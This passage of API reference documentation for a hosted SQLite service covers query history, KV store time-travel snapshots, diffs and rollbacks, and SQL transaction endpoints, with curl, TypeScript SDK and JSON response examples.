| `limit` | query | integer | No | Maximum number of entries to return (default `100`) |



```bash
curl -G "https://api.hoody.com/api/v1/sqlite/history" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "db=app.db" \
  --data-urlencode "limit=50"
```


```typescript
const { data, error } = await client.sqlite.history.list({
  db: "app.db",
  limit: 50,
});
```


```json
{
  "entries": [
    {
      "id": 1,
      "db": "app.db",
      "sql": "SELECT id, name FROM users WHERE active = 1",
      "timestamp": 1700000000,
      "duration_ms": 12,
      "status": "ok",
      "rows_affected": 42
    },
    {
      "id": 2,
      "db": "app.db",
      "sql": "UPDATE users SET last_seen = 1700000000",
      "timestamp": 1700000050,
      "duration_ms": 8,
      "status": "ok",
      "rows_affected": 42
    }
  ],
  "total": 2,
  "limit": 50
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid database path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |



---

### `GET /api/v1/sqlite/history/stats`

Retrieve aggregated statistics about query execution history.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |



```bash
curl -G "https://api.hoody.com/api/v1/sqlite/history/stats" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "db=app.db"
```


```typescript
const { data, error } = await client.sqlite.history.getStats({
  db: "app.db",
});
```


```json
{
  "db": "app.db",
  "total_entries": 1247,
  "ok_entries": 1230,
  "error_entries": 17,
  "avg_duration_ms": 9.4,
  "p95_duration_ms": 42.1,
  "oldest_timestamp": 1690000000,
  "newest_timestamp": 1700000000,
  "queries_per_hour": 86.3
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid database path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

### `DELETE /api/v1/sqlite/history`

Delete all query history entries for a database.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/sqlite/history?db=app.db" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.sqlite.history.clear({
  db: "app.db",
});
```


```json
{
  "db": "app.db",
  "deleted": 1247,
  "status": "ok"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid database path"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

### `DELETE /api/v1/sqlite/history/{index}`

Delete a specific query history entry by ID.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `index` | path | integer | Yes | History entry ID |
| `db` | query | string | Yes | Database file path |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/sqlite/history/42?db=app.db" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.sqlite.history.deleteEntry({
  index: 42,
  db: "app.db",
});
```


```json
{
  "db": "app.db",
  "index": 42,
  "deleted": true
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid index"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "History entry not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use create_db_if_missing=true to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

## KV Store Time-Travel

Reconstruct past key/table states, compare snapshots across time windows, and rewind changes for individual keys or entire tables.

### `GET /api/v1/sqlite/kv/{key}/history`

Retrieve the operation history for a specific key showing all changes over time.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default `"kv_store"`) |
| `limit` | query | integer | No | Maximum number of operations to return (0 → default 50, clamped to maximum 1000) (default `50`) |



```bash
curl -G "https://api.hoody.com/api/v1/sqlite/kv/user:1234/history" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "db=app.db" \
  --data-urlencode "limit=50"
```


```typescript
const { data, error } = await client.sqlite.kvStore.getHistory({
  key: "user:1234",
  db: "app.db",
  table: "kv_store",
  limit: 50,
});
```


```json
{
  "key": "user:1234",
  "operations": [
    {
      "op_number": 1,
      "op_type": "set",
      "value": "{\"name\":\"Ada\",\"score\":0}",
      "timestamp": 1700000000,
      "ttl": null
    },
    {
      "op_number": 2,
      "op_type": "set",
      "value": "{\"name\":\"Ada\",\"score\":42}",
      "timestamp": 1700001000,
      "ttl": null
    },
    {
      "op_number": 3,
      "op_type": "delete",
      "value": null,
      "timestamp": 1700002000,
      "ttl": null
    }
  ],
  "total": 3
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters (e.g. negative limit, malformed integer)"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

### `GET /api/v1/sqlite/kv/{key}/snapshot`

Reconstruct the value of a key as it was at a specific operation number.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default `"kv_store"`) |
| `op_number` | query | integer | Yes | Operation number to reconstruct from |



```bash
curl -G "https://api.hoody.com/api/v1/sqlite/kv/user:1234/snapshot" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "db=app.db" \
  --data-urlencode "op_number=1"
```


```typescript
const { data, error } = await client.sqlite.kvStore.getSnapshot({
  key: "user:1234",
  db: "app.db",
  table: "kv_store",
  op_number: 1,
});
```


```json
{
  "key": "user:1234",
  "op_number": 1,
  "value": "{\"name\":\"Ada\",\"score\":0}",
  "timestamp": 1700000000,
  "existed": true
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Key or operation not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use create_db_if_missing=true to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

### `GET /api/v1/sqlite/kv/snapshot`

Reconstruct the entire KV table state as it was at a specific timestamp.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default `"kv_store"`) |
| `timestamp` | query | integer | Yes | Unix timestamp to reconstruct from |
| `limit` | query | integer | No | Maximum number of keys to return (default `100`) |
| `prefix` | query | string | No | Filter keys by prefix |



```bash
curl -G "https://api.hoody.com/api/v1/sqlite/kv/snapshot" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "db=app.db" \
  --data-urlencode "timestamp=1700000000" \
  --data-urlencode "limit=100" \
  --data-urlencode "prefix=user:"
```


```typescript
const { data, error } = await client.sqlite.kvStore.getTableSnapshot({
  db: "app.db",
  table: "kv_store",
  timestamp: 1700000000,
  limit: 100,
  prefix: "user:",
});
```


```json
{
  "db": "app.db",
  "table": "kv_store",
  "timestamp": 1700000000,
  "keys": [
    {
      "key": "user:1234",
      "value": "{\"name\":\"Ada\",\"score\":42}",
      "ttl": null
    },
    {
      "key": "user:5678",
      "value": "{\"name\":\"Linus\",\"score\":7}",
      "ttl": null
    }
  ],
  "total": 2,
  "has_gaps": false,
  "gap_keys": [],
  "candidate_truncated": false
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Request deadline exceeded before commit"
}
```



---

### `GET /api/v1/sqlite/kv/diff`

Compare the KV table state between two timestamps showing created, modified, and deleted keys.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default `"kv_store"`) |
| `from` | query | integer | Yes | Starting timestamp (Unix) |
| `to` | query | integer | Yes | Ending timestamp (Unix) |
| `keys` | query | string | No | Comma-separated list of keys to compare (optional) |



```bash
curl -G "https://api.hoody.com/api/v1/sqlite/kv/diff" \
  -H "Authorization: Bearer <token>" \
  --data-urlencode "db=app.db" \
  --data-urlencode "from=1700000000" \
  --data-urlencode "to=1700010000" \
  --data-urlencode "keys=user:1234,user:5678"
```


```typescript
const { data, error } = await client.sqlite.kvStore.compareSnapshots({
  db: "app.db",
  table: "kv_store",
  from: 1700000000,
  to: 1700010000,
  keys: "user:1234,user:5678",
});
```


```json
{
  "db": "app.db",
  "table": "kv_store",
  "from": 1700000000,
  "to": 1700010000,
  "created": [
    {
      "key": "user:5678",
      "value": "{\"name\":\"Linus\",\"score\":7}"
    }
  ],
  "modified": [
    {
      "key": "user:1234",
      "from": "{\"name\":\"Ada\",\"score\":0}",
      "to": "{\"name\":\"Ada\",\"score\":42}"
    }
  ],
  "deleted": [
    {
      "key": "user:9999"
    }
  ],
  "has_gaps": false,
  "gap_keys": [],
  "candidate_truncated": false
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Request deadline exceeded before commit (large candidate set or heavy maintenance contention)"
}
```



---

### `POST /api/v1/sqlite/kv/{key}/rollback`

Rollback a key to its previous state by undoing the last N operations.


Rollback permanently rewrites the key's history. Always read the key's current history first with the history endpoint so you understand what will be undone.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `key` | path | string | Yes | Key name |
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default `"kv_store"`) |
| `steps` | query | integer | No | Number of operations to rollback (default `1`) |



```bash
curl -X POST "https://api.hoody.com/api/v1/sqlite/kv/user:1234/rollback?db=app.db&steps=1" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.sqlite.kvStore.rollback({
  key: "user:1234",
  db: "app.db",
  table: "kv_store",
  steps: 1,
});
```


```json
{
  "key": "user:1234",
  "db": "app.db",
  "steps_undone": 1,
  "current_op_number": 4,
  "value": "{\"name\":\"Ada\",\"score\":0}",
  "status": "ok"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "No history found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `KEY_NOT_FOUND` | Key not found | The requested key does not exist in the KV store | Verify the key name and database/table parameters |
| `DATABASE_NOT_FOUND` | Database file does not exist | The specified database file was not found | Check the file path or use create_db_if_missing=true to create it |
| `KEY_EXPIRED` | Key expired | The key existed but has expired due to TTL | The key was automatically deleted. Store a new value if needed. |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

### `POST /api/v1/sqlite/kv/rollback`

Rollback the entire KV table to a specific timestamp.


This is a destructive bulk operation. Always run with `dry_run=true` first to preview the changes, and pass `confirm=yes` to actually execute. A `409` indicates a gap in the time-travel chain, which means the rollback cannot be performed deterministically — do not retry without first inspecting history.


### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
| `table` | query | string | No | Custom table name (default `"kv_store"`) |
| `to_timestamp` | query | integer | Yes | Target timestamp to rollback to (Unix) |
| `dry_run` | query | boolean | No | Preview changes without applying (default `false`) |
| `confirm` | query | string | No | Must be 'yes' to execute actual rollback |

The request body schema for this endpoint is empty — no body fields are defined.



```bash
# Dry run to preview
curl -X POST "https://api.hoody.com/api/v1/sqlite/kv/rollback?db=app.db&to_timestamp=1700000000&dry_run=true" \
  -H "Authorization: Bearer <token>"

# Actual rollback
curl -X POST "https://api.hoody.com/api/v1/sqlite/kv/rollback?db=app.db&to_timestamp=1700000000&confirm=yes" \
  -H "Authorization: Bearer <token>"
```


```typescript
// Dry run to preview
const preview = await client.sqlite.kvStore.rollbackTable({
  db: "app.db",
  table: "kv_store",
  to_timestamp: 1700000000,
  dry_run: true,
});

// Actual rollback
const { data, error } = await client.sqlite.kvStore.rollbackTable({
  db: "app.db",
  table: "kv_store",
  to_timestamp: 1700000000,
  dry_run: false,
  confirm: "yes",
});
```


```json
{
  "db": "app.db",
  "table": "kv_store",
  "to_timestamp": 1700000000,
  "dry_run": false,
  "confirmed": true,
  "keys_restored": 42,
  "keys_deleted": 7,
  "status": "ok"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request parameters or missing confirmation"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Time-travel chain gap (cannot rollback deterministically)"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An internal error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |

---

# SQLite: SQL Operations

**Page:** api/sqlite/sql-operations

[Download Raw Markdown](./api/sqlite/sql-operations.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# SQLite: SQL Operations

The SQLite SQL Operations API lets you execute SQL transactions, create databases, and run shareable queries against SQLite database files. Use these endpoints to manage database lifecycle, execute multi-statement transactions with ACID guarantees, and share queries via URL-safe base64 encoding. Database paths accept absolute paths, bare names, or `./name` shorthand (resolved to `/hoody/databases/*.db`).

## OpenAPI Specification

### `GET /api/v1/sqlite/openapi.json`

Redirects to the YAML specification endpoint.

This endpoint takes no parameters.

**Response**



```json
{
  "description": "Redirects to YAML specification"
}
```



**SDK Usage**

```ts
const result = await client.sqlite.docs.getJson();
```

---

### `GET /api/v1/sqlite/openapi.yaml`

Retrieve the complete OpenAPI specification in YAML format.

This endpoint takes no parameters.

**Response**



```json
{
  "description": "OpenAPI specification in YAML format",
  "schema": {
    "type": "string"
  }
}
```



**SDK Usage**

```ts
const result = await client.sqlite.docs.getYaml();
```

---

## Shareable Queries

### `GET /api/v1/sqlite/query`

Execute a SQL query using base64-encoded SQL for easy sharing via URL. The `sql` parameter must be a base64-encoded SQL string, making queries safe to embed in URLs.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `db` | query | string | Yes | Database file path |
| `sql` | query | string | Yes | Base64-encoded SQL query |

**SDK Usage**

```ts
const result = await client.sqlite.query.executeShareable({
  db: "my-database.db",
  sql: "U0VMRUNUIHRpbWVzdGFtcCwgY291bnQoKik="
});
```

**Response**



```json
{
  "columns": ["timestamp", "count"],
  "rows": [
    ["2024-01-15 10:30:00", 42],
    ["2024-01-15 10:31:00", 17]
  ]
}
```


```json
{
  "error": "INVALID_DB_PATH",
  "message": "The provided database path is invalid or inaccessible"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "error": "DATABASE_ERROR",
  "message": "An internal database error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

## Database Operations

### `POST /api/v1/sqlite/db/create`

Create a new empty SQLite database with optional KV store initialization. When `init_kv` is `true`, the database is pre-configured with key-value store tables for directory mode usage.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | query | string | Yes | Database path (absolute path, bare name, or ./name shorthand resolved to /hoody/databases/*.db) |
| `init_kv` | query | boolean | No | Initialize KV store tables. Default: `false` |
| `kv_table` | query | string | No | Custom KV table name. Default: `kv_store` |

**SDK Usage**

```ts
const result = await client.sqlite.database.create({
  path: "my-database.db",
  init_kv: true,
  kv_table: "kv_store"
});
```

**Response**



```json
{
  "status": "created",
  "path": "/hoody/databases/my-database.db"
}
```


```json
{
  "error": "INVALID_DB_PATH",
  "message": "The provided database path is invalid"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "error": "Database already exists",
  "path": "/hoody/databases/my-database.db"
}
```


```json
{
  "error": "DATABASE_ERROR",
  "message": "An internal database error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |



---

### `POST /api/v1/sqlite/db`

Execute multiple SQL queries or statements in a single transaction with full ACID guarantees. Each transaction item accepts `statement` (preferred) or `query` (alias) for the SQL string.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `db` | query | string | Yes | Database path (absolute path, bare name, or ./name shorthand resolved to /hoody/databases/*.db) |
| `create_db_if_missing` | query | boolean | No | Create database file if it is missing. Default: `false` |

### Request Body

Transaction request containing queries and statements. Each transaction item accepts `statement` (preferred) or `query` (alias) for statements.

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `resultFormat` | string | No | Format for query results |
| `transaction` | array | No | Array of transaction items to execute in order |

Each transaction item supports:

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `noFail` | boolean | No | If true, continue executing remaining statements even if this one fails |
| `query` | string | No | SQL query string (alias for `statement`) |
| `statement` | string | No | SQL statement string (preferred over `query`) |
| `values` | array | No | Positional parameter values for the statement |
| `valuesBatch` | array | No | Batch of parameter value arrays for bulk operations |

**SDK Usage**

```ts
const result = await client.sqlite.database.executeTransaction({
  db: "my-database.db",
  create_db_if_missing: true,
  data: {
    resultFormat: "json",
    transaction: [
      {
        statement: "CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT, email TEXT)",
        noFail: true
      },
      {
        statement: "INSERT INTO users (name, email) VALUES (?, ?)",
        values: [1, 2]
      }
    ]
  }
});
```

**Response**



```json
{
  "results": [
    {
      "success": true,
      "rowsUpdated": 0
    },
    {
      "success": true,
      "rowsUpdated": 1,
      "rowsUpdatedBatch": [1]
    }
  ]
}
```


```json
{
  "error": "INVALID_PARAMETERS",
  "reqIdx": 1
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_DB_PATH` | Invalid database path | The provided database path is invalid or inaccessible | Provide a valid absolute path, or use bare name / ./name shorthand (resolved to /hoody/databases/*.db) |
| `INVALID_PARAMETERS` | Invalid request parameters | One or more request parameters are invalid or malformed | Check parameter types and values against the API specification |
| `INVALID_SQLITE_HEADER` | Not a valid SQLite database | The file exists but is not a valid SQLite database | Ensure the file is a valid SQLite database with proper header |
| `PATH_IS_DIRECTORY` | Path is a directory | Expected a .db file but got a directory (use table parameter for directory mode) | Use a .db file path or add table parameter for directory mode KV store |


```json
{
  "error": "DATABASE_ERROR",
  "reqIdx": 0
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `DATABASE_ERROR` | Database operation failed | An internal database error occurred | Check server logs for details. Database may be corrupted or locked. |
| `FILE_SYSTEM_ERROR` | File system error | Failed to read or write filesystem in directory mode | Check file permissions and disk space |

---

# Sqlite:Database

**Page:** api/sqlite-database

[Download Raw Markdown](./api/sqlite-database.md)

---

## API Endpoints Summary

- **POST** `/api/v1/sqlite/db` — Execute SQL transaction
- **POST** `/api/v1/sqlite/db/create` — Create new SQLite database

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Sqlite:Documentation

